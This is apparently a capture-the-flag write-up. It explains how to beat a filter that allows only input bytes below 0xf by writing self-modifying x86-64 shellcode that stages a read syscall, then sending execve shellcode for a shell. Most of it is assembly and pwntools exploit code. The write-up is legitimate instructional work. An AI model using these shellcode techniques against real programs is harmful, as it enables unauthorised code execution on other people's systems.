Ah yes another shellcoding challenge! It seems impossible at first glance. ASCII value of our input is required to be less than 0xf, or its replaced with a null byte.
So to workaround this constraint we will be writing self-modifying shellcode. But first, here is the register state we are working with:
Our aim here is to do a read syscall on our input buffer, so we can give execve shellcode without contrainst. To do that we need to set rdi to 0 (stdin) and rdx to a small value so that we dont go beyond the heap boundary which will fail the syscall. Analysing all possible instructions with depth 3, these seem rather interesting:
add DWORD PTR [rdx+rax*1], eax
add al,0x(0-f)
With this we can modify our input but the problem is we can add only the index of our input byte to itself. To workarond that we will be using these:
add BYTE PTR [rdx+rax*1], cl
add cl, BYTE PTR [rdx+rax*1]
This gives us independent control over index and value that is added to our input bytes. But since the value of cl is not what we want, we first have to write shellcode that modifies itself to perform xor rcx,rcx
. After a bit of head scratching and some quick maths, we have ourselves shellcode to perform, xor rcx,rcx
.
shell1 = asm("""
add al,0xf
add al,0xf
add al,0x6
add DWORD PTR [rdx+rax*1], eax
add DWORD PTR [rdx+rax*1], eax
add al,0x1
add DWORD PTR [rdx+rax*1], eax
add al,0x1
add DWORD PTR [rdx+rax*1], eax
add DWORD PTR [rdx+rax*1], eax
add DWORD PTR [rdx+rax*1], eax
add DWORD PTR [rdx+rax*1], eax
add DWORD PTR [rdx+rax*1], eax
add al,0xf
""")+"\x00\x0c\x0b"
Now our aim is to get the shellcode to do the following:
xor rdi,rdi
mov rdx, 0x500
xor eax,eax
syscall
Since rsi is already set, this will result in a read syscall.
Next we have to set cl to a value that makes it easier for us, since every byte that we want can be represented as 0x18*n+0x(0-f)
, we shall set cl to 0x18 then use the add instruction multiple times until we get our desired byte. The remainder of the byte is directly given as input. Now time to set cl and spam add instructions xD. To keep the writeup short, I shall be appending (x N) at the end of add instructions to the amount of adds used.
shell2 = asm("""
add al,0x6
add cl, BYTE PTR [rdx+rax*1] (x 6)
add al,0xf (x 11)
add al,0x5
add BYTE PTR [rdx+rax*1], cl (x 3)
add al,0x1
add BYTE PTR [rdx+rax*1], cl (x 2)
add al,0x1
add BYTE PTR [rdx+rax*1], cl (x 10)
add al,0x1
add BYTE PTR [rdx+rax*1], cl (x 3)
add al,0x1
add BYTE PTR [rdx+rax*1], cl (x 8)
add al,0x1
add BYTE PTR [rdx+rax*1], cl (x 8)
add al,0x5
add BYTE PTR [rdx+rax*1], cl (x 2)
add al,0x1
add BYTE PTR [rdx+rax*1], cl (x 8)
""") + "\x00\x01\x0f"+"\x00\x07\x02\x00\x05\x00\x00"+"\x01\x00" +asm("syscall")
Now time to finish the exploit:
shellcode = shell1 + shell2
payload = shellcode.ljust(999,"A")
sl(payload)
sleep(3)
sl(243*"A"+asm(shellcraft.sh()))
io.interactive()